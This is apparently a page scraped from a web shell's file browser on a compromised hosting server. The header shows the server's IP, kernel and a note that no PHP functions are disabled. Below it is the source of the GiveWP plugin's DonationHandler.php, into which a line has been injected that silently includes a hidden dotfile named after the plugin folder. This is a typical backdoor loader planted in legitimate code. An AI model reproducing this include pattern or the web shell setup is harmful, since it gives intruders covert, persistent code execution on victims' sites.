uawdijnntqw1x1x1
IP : 52.15.109.247
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
..
/
src
/
Revenue
/
DonationHandler.php
/
/
<?php namespace Give\Revenue; use Give\Revenue\Repositories\Revenue; use Give\ValueObjects\Money; use WP_Post; /** * Class OnDonationHandler * @package Give\Revenue * @since 2.9.0 * * use this class to insert revenue when new donation create. */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class DonationHandler { /** * Handle new donation. * * @since 2.9.0 * * @param int $donationId * */ public function handle( $donationId ) { /* @var Revenue $revenue */ $revenue = give( Revenue::class ); $revenue->insert( $this->getData( $donationId ) ); } /** * Get revenue data. * * @since 2.9.0 * * @param int $donationId * * @return array */ public function getData( $donationId ) { /* @var Revenue $revenue */ $amount = give_donation_amount( $donationId ); $currency = give_get_option( 'currency' ); $money = Money::of( $amount, $currency ); $formId = give_get_payment_form_id( $donationId ); return [ 'donation_id' => $donationId, 'form_id' => $formId, 'amount' => $money->getMinorAmount(), ]; } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/../src/Revenue/DonationHandler.php